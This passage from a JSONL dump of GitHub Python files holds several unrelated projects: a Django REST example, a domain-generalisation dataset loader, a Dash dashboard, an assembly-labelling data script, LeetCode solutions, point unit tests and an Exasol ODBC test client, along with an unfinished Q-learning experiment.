Welcome to Example Corp
\"\n + 'See /api/ for the API.
'\n )\n\n\n@api_view()\ndef api_index_view(request):\n return Response(\n data={\n \"endpoints\": [\n \"/api/circle-area/\",\n ],\n },\n )\n\n\nclass CircleInputSerializer(serializers.Serializer):\n radius = serializers.FloatField(\n min_value=1e-9,\n max_value=1e9,\n )\n\n\n@api_view()\ndef circle_area_view(request):\n serializer = CircleInputSerializer(data=request.GET)\n serializer.is_valid(raise_exception=True)\n radius = serializer.validated_data[\"radius\"]\n\n area = calculate_circle_area(radius)\n\n return Response(data={\"area\": area})\n\n\ndef calculate_circle_area(radius):\n return math.pi * (radius ** 2)\n\n\n# Our URL configuration\n\n\nurlpatterns = [\n path(\"\", index_view),\n path(\"api/\", api_index_view),\n path(\"api/circle-area/\", circle_area_view),\n]\n\n# Create a WSGI application so a web server could run this for us:\napp = get_wsgi_application()\n\n# Allow running Django's commands through this file:\nif __name__ == \"__main__\":\n from django.core.management import execute_from_command_line\n\n execute_from_command_line(sys.argv)\n","repo_name":"adamchainz/workshop-rest-api-django","sub_path":"ex3.py","file_name":"ex3.py","file_ext":"py","file_size_in_byte":2665,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"91"} +{"seq_id":"26554493555","text":"import os.path as osp\n\nfrom ..build import DATASET_REGISTRY\nfrom .digits_dg import DigitsDG\nfrom ..base_dataset import DatasetBase\n\n\n@DATASET_REGISTRY.register()\nclass OfficeHomeDG(DatasetBase):\n \"\"\"Office-Home.\n\n Statistics:\n - Around 15,500 images.\n - 65 classes related to office and home objects.\n - 4 domains: Art, Clipart, Product, Real World.\n - URL: http://hemanthdv.org/OfficeHome-Dataset/.\n\n Reference:\n - Venkateswara et al. Deep Hashing Network for Unsupervised\n Domain Adaptation. CVPR 2017.\n \"\"\"\n\n dataset_dir = \"office_home_dg\"\n domains = [\"art\", \"clipart\", \"product\", \"real_world\"]\n data_url = \"https://drive.google.com/uc?id=1gkbf_KaxoBws-GWT3XIPZ7BnkqbAxIFa\"\n\n def __init__(self, cfg):\n root = osp.abspath(osp.expanduser(cfg.DATASET.ROOT))\n self.dataset_dir = osp.join(root, self.dataset_dir)\n\n if not osp.exists(self.dataset_dir):\n dst = osp.join(root, \"office_home_dg.zip\")\n self.download_data(self.data_url, dst, from_gdrive=True)\n\n self.check_input_domains(\n cfg.DATASET.SOURCE_DOMAINS, cfg.DATASET.TARGET_DOMAINS\n )\n\n train = DigitsDG.read_data(\n self.dataset_dir, cfg.DATASET.SOURCE_DOMAINS, \"train\"\n )\n val = DigitsDG.read_data(\n self.dataset_dir, cfg.DATASET.SOURCE_DOMAINS, \"val\"\n )\n test = DigitsDG.read_data(\n self.dataset_dir, cfg.DATASET.TARGET_DOMAINS, \"all\"\n )\n\n super().__init__(train_x=train, val=val, test=test)\n","repo_name":"KaiyangZhou/Dassl.pytorch","sub_path":"dassl/data/datasets/dg/office_home_dg.py","file_name":"office_home_dg.py","file_ext":"py","file_size_in_byte":1564,"program_lang":"python","lang":"en","doc_type":"code","stars":979,"dataset":"github-code","pt":"91"} +{"seq_id":"30677233126","text":"# -*- coding: utf-8 -*-\r\n\"\"\"\r\nCreated on Fri Jul 7 09:38:29 2023\r\n\r\n@author: thepe\r\n\"\"\"\r\n\r\nfrom dash import Dash, html, dcc, Input, Output, callback\r\n\r\nimport dash_bootstrap_components as dbc\r\n\r\nimport pandas as pd\r\nimport plotly.express as px\r\n\r\n\r\nurl = 'https://raw.githubusercontent.com/chriszapp/datasets/main/books.csv'\r\ndf = pd.read_csv(url, nrows = 3000)\r\n\r\ndf2 = df.groupby(by = ['authors', 'title']).agg({'language_code' : 'first', ' num_pages' : 'mean'}).reset_index()\r\nfig = px.scatter(df2, x=\"authors\", y=\" num_pages\")\r\nfig.update_layout(\r\n title=dict(text=\"Nombre moyen de pages par auteur\", font=dict(size=30), automargin=True, yref='paper'),\r\n font_color='#119DFF',\r\n title_font_color='#F71016',\r\n xaxis_title=\"Auteur\",\r\n yaxis_title=\"Nombre de pages\")\r\n\r\n\r\n\r\n\r\napp = Dash(external_stylesheets=[dbc.themes.BOOTSTRAP])\r\nserver = app.server\r\n\r\napp.layout = dbc.Container([\r\n html.H4(children='Books'),\r\n dcc.Graph(\r\n figure=fig\r\n ,id ='graph'),\r\n \r\n dbc.Row([\r\n dbc.Col(\r\n \r\n dcc.Markdown(''' \r\n \r\n \r\n \r\n Choix de l'auteur :\r\n\r\n '''),\r\n width=6),\r\n dbc.Col(\r\n dcc.Markdown(''' \r\n \r\n \r\n \r\n Choix de la langue :\r\n\r\n '''),\r\n width = 6)\r\n ]),\r\n \r\n dbc.Row([\r\n dbc.Col(\r\n # choix auteur\r\n \r\n dcc.Dropdown(options = [{'label':nom, 'value': nom} for nom in list(df['authors'].unique())],\r\n value =list(df['authors'].unique())[0],\r\n id =\"drop-authors\" \r\n ),\r\n width = 6),\r\n dbc.Col(\r\n \r\n # choix langue\r\n dcc.RadioItems(options = [{'label':nom, 'value': nom} for nom in list(df['language_code'].unique())],\r\n value =list(df['language_code'].unique())[0], \r\n id = 'radio-lang'),\r\n width = 6)\r\n ])\r\n ])\r\n \r\n \r\n@callback(\r\n Output('graph', 'figure'),\r\n [Input('drop-authors', 'value'),\r\n Input('radio-lang', 'value')]\r\n)\r\n\r\ndef update_graph(auteur, langue):\r\n \r\n df3 = df2[(df2['authors'] == auteur) & (df2['language_code'] == langue)]\r\n fig = px.scatter(df3, x=\"title\", y=\" num_pages\")\r\n return fig\r\n\r\n\r\n\r\n \r\n\r\nif __name__ == '__main__':\r\n app.run(debug=True)\r\n","repo_name":"theperk08/dash_layout","sub_path":"Dash_Layouts.py","file_name":"Dash_Layouts.py","file_ext":"py","file_size_in_byte":2711,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"91"} +{"seq_id":"24168113689","text":"from django.utils.crypto import get_random_string\n\nfrom rest_framework import serializers\n\nfrom .models import Projectile\n\nclass CreateProjectileSerializer(serializers.ModelSerializer):\n\n identity = serializers.CharField(max_length=10, read_only=True)\n\n def create(self, validated_data):\n id = get_random_string(10)\n count = 0\n try:\n while count <= 20:\n Projectile.objects.get(identity=id)\n id = get_random_string(10)\n count += 1\n except:\n acceleration = validated_data.get(\"acceleration\")\n hang_time = validated_data.get(\"hang_time\")\n bounce_height = validated_data.get(\"bounce_height\")\n projectile = Projectile(\n identity=id,\n acceleration=acceleration,\n hang_time=hang_time,\n bounce_height=bounce_height,\n score=acceleration/2 + hang_time/2 + bounce_height,\n )\n projectile.save()\n return projectile\n\n class Meta:\n model = Projectile\n fields = (\"identity\", \"acceleration\", \"hang_time\", \"bounce_height\")\n","repo_name":"Deerjason/CSE-453_Scoreboard","sub_path":"backend/projectile/serializers.py","file_name":"serializers.py","file_ext":"py","file_size_in_byte":1164,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"91"} +{"seq_id":"2714930691","text":"import os\nimport logging\nimport glob\n\nimport yaml\nimport joblib\nimport numpy as np\nimport pandas as pd\n\nfrom mathtools import utils # , pose\nfrom kinemparse import assembly as lib_assembly\n\n\nlogger = logging.getLogger(__name__)\n\n\ndef relativePose(poses_seq, lower_tri_only=True, magnitude_only=False):\n def relPose(lhs, rhs, magnitude_only=False):\n if np.isnan(lhs).any() or np.isnan(rhs).any():\n either_row_has_nan = np.isnan(lhs).any(axis=1) + np.isnan(rhs).any(axis=1)\n non_nan_rel_pose = relPose(\n lhs[~either_row_has_nan, :], rhs[~either_row_has_nan, :],\n magnitude_only=magnitude_only\n )\n rel_pose = np.full(lhs.shape[0:1] + non_nan_rel_pose.shape[1:], np.nan)\n rel_pose[~either_row_has_nan, ...] = non_nan_rel_pose\n return rel_pose\n\n if not magnitude_only:\n raise NotImplementedError()\n\n position_lhs = lhs[:, :3]\n position_rhs = rhs[:, :3]\n rel_pose = np.linalg.norm(position_lhs - position_rhs, axis=1, keepdims=True)\n return rel_pose\n\n num_poses = poses_seq.shape[-1]\n rel_poses = np.stack(\n tuple(\n np.stack(\n tuple(\n # pose.relPose(\n relPose(\n poses_seq[..., i], poses_seq[..., j],\n magnitude_only=magnitude_only\n )\n for j in range(num_poses)\n ),\n axis=1\n )\n for i in range(num_poses)\n ), axis=1\n )\n\n if lower_tri_only:\n rows, cols = np.tril_indices(rel_poses.shape[1], k=-1)\n rel_poses = rel_poses[:, rows, cols]\n\n return rel_poses\n\n\ndef actionLabels(\n labels_arr, num_samples, action_name_to_index, part_name_to_index,\n lower_tri_only=True):\n num_parts = len(part_name_to_index)\n label_seq = np.zeros((num_samples, num_parts, num_parts), dtype=int)\n\n for i, (start_idx, end_idx, action, part1, part2) in labels_arr.iterrows():\n action_idx = action_name_to_index[action]\n part1_idx = part_name_to_index[part1]\n part2_idx = part_name_to_index[part2]\n\n label_seq[start_idx:end_idx, part1_idx, part2_idx] = action_idx + 1\n label_seq[start_idx:end_idx, part2_idx, part1_idx] = action_idx + 1\n\n if lower_tri_only:\n rows, cols = np.tril_indices(label_seq.shape[1], k=-1)\n label_seq = label_seq[:, rows, cols]\n\n return label_seq\n\n\ndef iterateSymmetries(action, part1, part2, cur_assembly, symmetries=[]):\n def is_possible(action, part1, part2, cur_assembly):\n if action == 'connect':\n for joint in cur_assembly.joints.values():\n for part in (part1, part2):\n if part == joint.parent_name or part == joint.child_name:\n return False\n return True\n if action == 'disconnect':\n for joint in cur_assembly.joints.values():\n for part in (part1, part2):\n if part == joint.parent_name or part == joint.child_name:\n return True\n return False\n\n part1_sym = symmetries.get(part1, [part1])\n part2_sym = symmetries.get(part2, [part2])\n\n for p1 in part1_sym:\n for p2 in part2_sym:\n if is_possible(action, p1, p2, cur_assembly):\n if action == 'connect':\n assembly = cur_assembly.add_joint(p1, p2, in_place=False, directed=False)\n elif action == 'disconnect':\n assembly = cur_assembly.remove_joint(p1, p2, in_place=False, directed=False)\n yield assembly\n\n\ndef _assemblyLabels(labels_arr, num_samples, assembly_vocab=[], symmetries=[]):\n def getIndex(assembly):\n for i, a in enumerate(assembly_vocab):\n if a == assembly:\n return i\n else:\n assembly_vocab.append(assembly)\n return len(assembly_vocab) - 1\n\n label_seq = np.zeros(num_samples, dtype=int)\n\n assembly = lib_assembly.Assembly()\n getIndex(assembly)\n paths = [[assembly]]\n for i, (_, _, action, part1, part2) in labels_arr.iterrows():\n new_paths = []\n for i, path in enumerate(paths):\n states = list(\n iterateSymmetries(action, part1, part2, path[-1], symmetries=symmetries)\n )\n for assembly in states:\n getIndex(assembly)\n new_path = path + [assembly]\n new_paths.append(new_path)\n paths = new_paths\n\n return label_seq\n\n\ndef assemblyLabels(labels_arr, num_samples, assembly_vocab=[], symmetries=[]):\n def getIndex(assembly):\n for i, a in enumerate(assembly_vocab):\n if a == assembly:\n return i\n else:\n assembly_vocab.append(assembly)\n return len(assembly_vocab) - 1\n\n label_seq = np.zeros(num_samples, dtype=int)\n\n assembly = lib_assembly.Assembly()\n assembly_index = getIndex(assembly)\n prev_end_idx = 0\n prev_start_idx = -1\n for i, (start_idx, end_idx, action, part1, part2) in labels_arr.iterrows():\n if start_idx != prev_start_idx or end_idx != prev_end_idx:\n assembly_index = getIndex(assembly)\n label_seq[prev_end_idx:end_idx] = assembly_index\n if action == 'connect':\n assembly = assembly.add_joint(part1, part2, in_place=False, directed=False)\n elif action == 'disconnect':\n assembly = assembly.remove_joint(part1, part2, in_place=False, directed=False)\n prev_start_idx = start_idx\n prev_end_idx = end_idx\n assembly_index = getIndex(assembly)\n label_seq[end_idx:] = assembly_index\n\n return label_seq\n\n\ndef makePairs(seq, lower_tri_only=True):\n pairs = tuple(tuple((token1, token2) for token2 in seq) for token1 in seq)\n\n if lower_tri_only:\n rows, cols = np.tril_indices(len(seq), k=-1)\n pairs = tuple(pairs[r][c] for r, c in zip(rows, cols))\n\n return pairs\n\n\ndef possibleConnections(part_pair_names):\n def holeInfo(part_name):\n part_name, hole_idx = part_name.split('_hole_')\n return part_name, hole_idx\n\n def connectionPossible(name_A, name_B):\n name_A, hole_A = holeInfo(name_A)\n name_B, hole_B = holeInfo(name_B)\n if name_A == name_B:\n return False\n return True\n\n return np.array([connectionPossible(a, b) for a, b in part_pair_names])\n\n\ndef main(\n out_dir=None, data_dir=None, part_symmetries=None,\n plot_output=None, results_file=None, sweep_param_name=None, start_from=None):\n\n if part_symmetries is None:\n part_symmetries = [\n ['frontbeam_hole_1', 'frontbeam_hole_2', 'backbeam_hole_1', 'backbeam_hole_2'],\n ['cushion_hole_1', 'cushion_hole_2']\n ]\n part_symmetries = {\n symms[i]: symms\n for symms in part_symmetries\n for i in range(len(symms))\n }\n\n data_dir = os.path.expanduser(data_dir)\n\n out_dir = os.path.expanduser(out_dir)\n if not os.path.exists(out_dir):\n os.makedirs(out_dir)\n\n out_data_dir = os.path.join(out_dir, 'data')\n if not os.path.exists(out_data_dir):\n os.makedirs(out_data_dir)\n\n fig_dir = os.path.join(out_dir, 'figures')\n if not os.path.exists(fig_dir):\n os.makedirs(fig_dir)\n\n debug_dir = os.path.join(out_dir, 'debug')\n if not os.path.exists(debug_dir):\n os.makedirs(debug_dir)\n\n def saveVariable(var, var_name):\n joblib.dump(var, os.path.join(out_data_dir, f'{var_name}.pkl'))\n\n logger = utils.setupRootLogger(filename=os.path.join(out_dir, 'log.txt'))\n\n logger.info(f\"Reading from: {data_dir}\")\n logger.info(f\"Writing to: {out_dir}\")\n\n if results_file is None:\n results_file = os.path.join(out_dir, 'results.csv')\n # write_mode = 'w'\n else:\n results_file = os.path.expanduser(results_file)\n # write_mode = 'a'\n\n fig_dir = os.path.join(out_dir, 'figures')\n if not os.path.exists(fig_dir):\n os.makedirs(fig_dir)\n\n out_data_dir = os.path.join(out_dir, 'data')\n if not os.path.exists(out_data_dir):\n os.makedirs(out_data_dir)\n\n labels_dir = os.path.join(data_dir, 'labels')\n\n with open(os.path.join(labels_dir, 'action_and_part_names.yaml'), 'rt') as f:\n names = yaml.safe_load(f)\n action_names = names['action_names']\n action_name_to_index = {name: i for i, name in enumerate(action_names)}\n part_names = names['part_names']\n part_name_to_index = {name: i for i, name in enumerate(part_names)}\n\n video_ids = []\n all_label_arrs = []\n for label_fn in glob.glob(os.path.join(labels_dir, \"*.csv\")):\n video_id = utils.stripExtension(label_fn)\n labels_arr = pd.read_csv(label_fn)\n all_label_arrs.append(labels_arr)\n video_ids.append(video_id)\n\n pose_dir = os.path.join(data_dir, 'poses')\n pose_ids = tuple(\n video_id\n for video_id in video_ids\n if os.path.exists(os.path.join(pose_dir, video_id))\n )\n keep_ids = tuple(v_id in pose_ids for v_id in video_ids)\n logger.info(\n f\"Ignoring {len(keep_ids) - sum(keep_ids)} video(s) with missing data: \"\n f\"{', '.join([v_id for v_id, keep in zip(video_ids, keep_ids) if not keep])}\"\n )\n\n def filterSeq(seq):\n return tuple(x for x, keep_id in zip(seq, keep_ids) if keep_id)\n all_label_arrs = filterSeq(all_label_arrs)\n video_ids = filterSeq(video_ids)\n\n assembly_vocab = []\n label_seqs = []\n for i, video_id in enumerate(video_ids):\n if start_from is not None and i < start_from:\n continue\n\n logger.info(\"PROCESSING VIDEO {0}: {1}\".format(i, video_id))\n\n labels_arr = all_label_arrs[i]\n\n video_dir = os.path.join(pose_dir, video_id)\n\n def loadFile(part_name):\n path = os.path.join(video_dir, f'{part_name}.csv')\n arr = pd.read_csv(path)\n return arr\n\n part_data = tuple(loadFile(part_name) for part_name in part_names)\n\n poses_seq = np.stack(tuple(arr.values for arr in part_data), axis=-1)\n\n feature_seq = relativePose(poses_seq, lower_tri_only=True, magnitude_only=True)\n label_seq = actionLabels(\n labels_arr, feature_seq.shape[0],\n action_name_to_index, part_name_to_index\n )\n\n part_pair_names = makePairs(part_names, lower_tri_only=True)\n is_possible = possibleConnections(part_pair_names)\n feature_seq = feature_seq[:, is_possible, :]\n label_seq = label_seq[:, is_possible]\n part_pair_names = tuple(n for (b, n) in zip(is_possible, part_pair_names) if b)\n\n utils.plot_multi(\n np.moveaxis(feature_seq, (0, 1, 2), (-1, 0, 1)), label_seq.T,\n axis_names=part_pair_names, label_name='action',\n feature_names=('translation_dist', 'rotation_dist'),\n tick_names=[''] + action_names,\n fn=os.path.join(fig_dir, f\"{video_id}_actions.png\")\n )\n\n label_seq = assemblyLabels(\n labels_arr, feature_seq.shape[0],\n assembly_vocab=assembly_vocab, symmetries=part_symmetries\n )\n # expanded_label_seq = _assemblyLabels(\n # labels_arr, feature_seq.shape[0],\n # assembly_vocab=assembly_vocab, symmetries=part_symmetries\n # )\n utils.plot_array(\n feature_seq.sum(axis=-1).T, (label_seq,), ('assembly',),\n fn=os.path.join(fig_dir, f\"{video_id}_assemblies.png\")\n )\n label_seqs.append(label_seq)\n\n label_segments, __ = utils.computeSegments(label_seq)\n assembly_segments = [assembly_vocab[i] for i in label_segments]\n lib_assembly.writeAssemblies(\n os.path.join(debug_dir, f'trial={video_id}_assembly-seq.txt'),\n assembly_segments\n )\n\n video_id = video_id.replace('_', '-')\n saveVariable(feature_seq, f'trial={video_id}_feature-seq')\n saveVariable(label_seq, f'trial={video_id}_label-seq')\n # saveVariable(expanded_label_seq, f'trial={video_id}_expanded-label-seq')\n\n if False:\n from seqtools import utils as su\n transition_probs, start_probs, end_probs = su.smoothCounts(\n *su.countSeqs(label_seqs)\n )\n # import pdb; pdb.set_trace()\n\n lib_assembly.writeAssemblies(\n os.path.join(debug_dir, 'assembly-vocab.txt'),\n assembly_vocab\n )\n\n saveVariable(assembly_vocab, 'assembly-vocab')\n with open(os.path.join(out_data_dir, 'action-vocab.yaml'), 'wt') as f:\n yaml.dump(action_names, f)\n with open(os.path.join(out_data_dir, 'part-vocab.yaml'), 'wt') as f:\n yaml.dump(part_names, f)\n\n\nif __name__ == \"__main__\":\n # Parse command-line args and config file\n cl_args = utils.parse_args(main)\n config, config_fn = utils.parse_config(cl_args, script_name=__file__)\n\n # Create output directory, instantiate log file and write config options\n out_dir = os.path.expanduser(config['out_dir'])\n if not os.path.exists(out_dir):\n os.makedirs(out_dir)\n with open(os.path.join(out_dir, config_fn), 'w') as outfile:\n yaml.dump(config, outfile)\n utils.copyFile(__file__, out_dir)\n\n main(**config)\n","repo_name":"jd-jones/kinemparse","sub_path":"egs/ikea_jhu/scripts/make_data.py","file_name":"make_data.py","file_ext":"py","file_size_in_byte":13312,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"91"} +{"seq_id":"40525726708","text":"# 精通Counter方法的基础上再熟练应用reduce和map方法\nfrom collections import Counter\nclass Solution:\n def commonChars(self, A: List[str]) -> List[str]:\n return reduce(Counter.__and__, map(Counter, A)).elements()\n\n# 灵活使用Counter方法\nfrom collections import Counter\nclass Solution:\n def commonChars(self, A: List[str]) -> List[str]:\n dic = Counter(A[0])\n for w in A:\n dic &= Counter(w)\n return dic.elements()\n\n# 最low的代码\nfrom collections import Counter\nclass Solution:\n def commonChars(self, A: List[str]) -> List[str]:\n if not A: return []\n dic = Counter(A[0])\n for i, w in enumerate(A):\n if 0 == i:\n continue\n temp = Counter(w)\n inter_key = set(tuple(dic.keys())) & set(tuple(temp.keys()))\n new_dic = {}\n for k in inter_key:\n new_dic[k] = min(dic[k], temp[k])\n dic = new_dic\n ret = []\n for i in dic:\n for j in range(dic[i]):\n ret.append(i)\n return ret","repo_name":"Bieneath/LeetCode_training","sub_path":"Week_10/1002.py","file_name":"1002.py","file_ext":"py","file_size_in_byte":1093,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"91"} +{"seq_id":"38349640444","text":"import pandas as pd\nimport numpy as np\n# Create features\n\n# pp.preprocess_candles('2h')\ndata = pd.read_csv(\"2h_BTC_candle_shape.csv\").values\nN = data.shape[0]\nF = data.shape[1]\n\n\ndef labels(c1, c2):\n \"\"\"\n Creates a label (1 or 0) from 2 candles\n :param c1: candle 1\n :param c2: candle 2\n :return: 1 or 0\n \"\"\"\n if (c2[1] - c1[0]) >= 0:\n return 1 # green bar\n else:\n return 0\n\n\nX = []\nY = []\n\nfor i in range(N-6):\n x = [data[i, :], data[i+1, :], data[i+2, :], data[i+3, :]]\n X.append(x)\n y = labels(data[i+4], data[i+5])\n Y.append(y)\n\nY = np.array(Y)\nprint(len(X))\n# Deep-Q Learning NN\n\n# TODO - Q-Learning NN for candle shapes -> Library for this?\n\n\ndef sigmoid(x, deriv=False):\n # if deriv:\n # return x*(1-x)\n # return 1/(1+np.exp(-x))\n if deriv:\n a = x*(1-x)\n return np.array(a)\n else:\n X = []\n for j in range(len(x)):\n X.append(1/(1+np.exp(-x[j])))\n u = x[j]\n print(u)\n return np.array(X)\n\n\n# X = np.array([[0,0,1],[0,1,1],[1,0,1],[1,1,1]]) 4x3\n# y = np.array([[0,0,1,1]]).T 4x1\n\ntraining_iterations = 100\n\nnp.random.seed(1)\n\n# Synapses\nsyn0 = np.random.random((4, 1)) - 1 # 3x1\n# syn1 = 2*np.random.random((9, 12)) - 1\n# syn2 = 2*np.random.random((12, 12)) - 1\n# syn3 = 2*np.random.random((12, 9)) - 1\n# syn4 = 2*np.random.random((9, 4)) - 1\n# syn5 = 2*np.random.random((4, 1)) - 1\n\nl6_error = 0\nl6 = 0\nfor i in range(training_iterations):\n l0 = X\n l6 = sigmoid(np.dot(l0, syn0))\n # l2 = sigmoid(np.dot(l1, syn1))\n # l3 = sigmoid(np.dot(l2, syn2))\n # l4 = sigmoid(np.dot(l3, syn3))\n # l5 = sigmoid(np.dot(l4, syn4))\n # l6 = sigmoid(np.dot(l5, syn5))\n\n l6_error = Y-l6 # Should get smaller and smaller as we train\n print(Y.shape)\n print(l6.shape)\n print(X)\n\n l6_delta = l6_error * sigmoid(l6, True)\n\n # Updates weights in our network\n # syn0 += np.dot(l0,l6_delta)\n\ntotalError = np.sum(l6_error)\n\nprint(len(Y))\nprint(Y[0])\nprint(len(l6))\nprint(np.column_stack(Y, l6))\n\n\n\n\n","repo_name":"MarcGoulding/binance-data-processing","sub_path":"Q-Learning candle-shape.py","file_name":"Q-Learning candle-shape.py","file_ext":"py","file_size_in_byte":2107,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"91"} +{"seq_id":"16132190776","text":"from block_ai.lib.myblokus import point\nfrom block_ai.lib.myblokus.point import X, Y\n\nimport unittest\n\nfrom hypothesis import given\nimport hypothesis.strategies as st\n\nclass PointTests(unittest.TestCase):\n\n def test_get_adjacent(self):\n # Given \n p = (1, 1)\n\n # When\n adjacent = point.get_adjacent(p)\n\n # Then\n expected = [(0, 1),\n (1, 0),\n (1, 2),\n (2, 1)]\n self.assertEqual(adjacent, expected)\n\n def test_get_corners(self):\n # Given\n p = (1, 1)\n\n # When\n corners = point.get_corners(p)\n\n # Then\n expected = [(0, 0),\n (0, 2),\n (2, 0),\n (2, 2)]\n self.assertTrue(corners, expected)\n\n def test_str(self):\n # Given\n p = (1, 1)\n\n # When\n p_str = str(p)\n\n # Then\n self.assertEqual(p_str, \"(1, 1)\")\n\n def test_repr(self):\n\n # Given\n p = (1, 1)\n\n # When\n p_repr = repr(p)\n\n # Then\n self.assertEqual(p_repr, \"(1, 1)\")\n\n @given(x=st.integers(), y=st.integers())\n def test_equal(self, x, y):\n # Given\n p1 = (x, y)\n p2 = (x, y)\n\n # Then\n self.assertTrue(p1 == p2)\n\n\n @given(x=st.integers(), y=st.integers())\n def test_not_equal(self, x, y):\n # Given\n p1 = (x, y)\n p2 = (x + 1, y)\n\n # Then\n self.assertNotEqual(p1, p2)\n self.assertTrue(p1 != p2)\n \n @given(x=st.integers(), y=st.integers())\n def test_hash(self, x, y):\n # Given\n p1 = (x, y)\n p2 = (x, y)\n\n # Then\n self.assertEqual(hash(p1), hash(p2))\n\n @given(x=st.integers(), y=st.integers())\n def test_less_than(self, x, y):\n # Given\n p1 = (x - 1, y)\n p2 = (x, y - 1)\n p3 = (x, y)\n p4 = (x, y + 1)\n p5 = (x + 1, y + 1)\n\n # Then\n self.assertFalse(p1 < p1)\n self.assertTrue(p1 < p2)\n self.assertTrue(p2 < p3)\n self.assertTrue(p3 < p4)\n self.assertTrue(p4 < p5)\n\n \n \n @given(x=st.integers(), y=st.integers())\n def test_greater_than(self, x, y):\n # Given\n p1 = (x - 1, y)\n p2 = (x, y - 1)\n p3 = (x, y)\n p4 = (x, y + 1)\n p5 = (x + 1, y + 1)\n\n # Then\n self.assertFalse(p1 > p2)\n self.assertFalse(p2 > p3)\n self.assertFalse(p3 > p4)\n self.assertFalse(p4 > p5)\n\n @given(x=st.integers(), y=st.integers(), a=st.integers(), b=st.integers())\n def test_add(self, x, y, a, b):\n # Given\n p1 = (x, y)\n p2 = (a, b)\n\n # When\n p_sum = point.add(p1, p2)\n\n # Then\n expected = (x + a, y + b)\n self.assertEqual(p_sum, expected)\n\n @given(x=st.integers(), y=st.integers(), a=st.integers(), b=st.integers())\n def test_sub(self, x, y, a, b):\n # Given\n p1 = (x, y)\n p2 = (a, b)\n \n # When\n p_diff = point.subtract(p1, p2)\n\n # Then\n expected = (x - a, y - b)\n self.assertEqual(p_diff, expected)\n \n @given(x=st.integers(), y=st.integers())\n def test_from_string(self, x, y):\n # Given\n p1 = (x, y)\n\n # When\n p2 = point.from_string(str(p1))\n \n # Then\n self.assertEqual(p1, p2)\n\n @given(x=st.integers(), y=st.integers())\n def test_ident_transform(self, x, y):\n # Given\n p1 = (x, y)\n\n # When\n p2 = point.ident(p1)\n\n # Then\n self.assertEqual(p1, p2)\n\n\n @given(x=st.integers(), y=st.integers())\n def test_flip_transform(self, x, y):\n # Given\n p1 = (x, y)\n\n # When\n p2 = point.flip(p1)\n p3 = point.flip(p2)\n\n # Then\n self.assertEqual(p1, p3)\n self.assertEqual(p1[X], p2[X])\n self.assertEqual(p1[Y], -p2[Y])\n\n \n @given(x=st.integers(), y=st.integers())\n def test_rot90_transform(self, x, y):\n # Given\n p1 = (x, y)\n\n # When\n p2 = point.rot90(p1)\n \n p = p1\n for i in range(4):\n p = point.rot90(p)\n\n # Then\n self.assertEqual(p1[X], -p2[Y])\n self.assertEqual(p1[Y], p2[X])\n self.assertEqual(p1, p)\n\n\n @given(x=st.integers(), y=st.integers())\n def test_rot180_transform(self, x, y):\n # Given\n p1 = (x, y)\n\n # When\n p2 = point.rot180(p1)\n \n p = p1\n for i in range(2):\n p = point.rot180(p)\n\n # Then\n self.assertEqual(p1[X], -p2[X])\n self.assertEqual(p1[Y], -p2[Y])\n self.assertEqual(p1, p)\n\n @given(x=st.integers(), y=st.integers())\n def test_rot270_transform(self, x, y):\n # Given\n p1 = (x, y)\n\n # When\n p2 = point.rot270(p1)\n \n p = p1\n for i in range(4):\n p = point.rot90(p)\n\n # Then\n self.assertEqual(p1[X], p2[Y])\n self.assertEqual(p1[Y], -p2[X])\n self.assertEqual(p1, p)\n\n","repo_name":"BenjaminNMitchell/blockAI","sub_path":"test/lib/myblokus/test_point.py","file_name":"test_point.py","file_ext":"py","file_size_in_byte":5080,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"91"} +{"seq_id":"75273150062","text":"import sys\nimport pyodbc\n\n# Check the pyodbc version\ntry:\n major, minor, patch = map(int, pyodbc.version.split('.'))\n if major != 4 or (minor, patch) < (0, 27):\n raise ImportError('pyodbc version >= 4.0.27 required. Try running `pip3 install --user --force pyodbc`.')\nexcept ValueError: # The version number is not a number...\n raise ImportError('pyodbc version >= 4.0.27 required. Try running `pip3 install --user --force pyodbc`.')\n\n\nclass ClientError(Exception):\n pass\n\n\ndef getScriptLanguagesFromArgs():\n for i, arg in enumerate(sys.argv):\n if arg == '--script-languages':\n if len(sys.argv) == i + 1:\n raise ClientError('Value for --script-languages missing')\n return sys.argv[i + 1]\n\n\nclass ODBCClient(object):\n def __init__(self, dsn, user=\"sys\", password=\"exasol\"):\n self.cursor = None\n self.params = {'dsn': dsn, 'uid': user, 'pwd': password}\n\n def connect(self, **kwargs):\n params = self.params.copy()\n params.update(kwargs)\n self.conn = pyodbc.connect(**params, ansi=True)\n self.conn.setencoding(encoding='utf-8')\n self.cursor = self.conn.cursor()\n self._setScriptLanguagesFromArgs()\n\n def _setScriptLanguagesFromArgs(self):\n langs = getScriptLanguagesFromArgs()\n if langs is not None:\n self.query(\"ALTER SESSION SET SCRIPT_LANGUAGES='%s'\" % langs)\n\n def query(self, qtext, *args):\n if self.cursor is None:\n raise ClientError('query() requires connect() first')\n q = self.cursor.execute(qtext, *args)\n try:\n return q.fetchall()\n except pyodbc.ProgrammingError as e:\n if 'No results. Previous SQL was not a query.' in str(e):\n return None\n else:\n raise\n\n def executeStatement(self, qtext, *args):\n if self.cursor is None:\n raise ClientError('executeStatement() requires connect() first')\n self.cursor.execute(qtext, *args)\n return self.cursor.rowcount\n\n def columns(self, table=None, catalog=None, schema=None, column=None):\n args = {}\n if table:\n args['table'] = table\n if catalog:\n args['catalog'] = catalog\n if schema:\n args['schema'] = schema\n if column:\n args['column'] = column\n return self.cursor.columns(**args).fetchall()\n\n def rowcount(self):\n return self.cursor.rowcount\n\n def cursorDescription(self):\n return self.cursor.description\n\n def commit(self):\n self.conn.commit()\n\n def rollback(self):\n self.conn.rollback()\n\n def close(self):\n self.cursor.close()\n self.conn.close()\n\n# vim: ts=4:sts=4:sw=4:et:fdm=indent\n","repo_name":"exasol/exasol-python-test-framework","sub_path":"exasol_python_test_framework/exatest/clients/odbc.py","file_name":"odbc.py","file_ext":"py","file_size_in_byte":2779,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"91"} +{"seq_id":"26465322668","text":"import scrapy\nfrom ..items import BasicSpiderItem\nfrom scrapy.loader 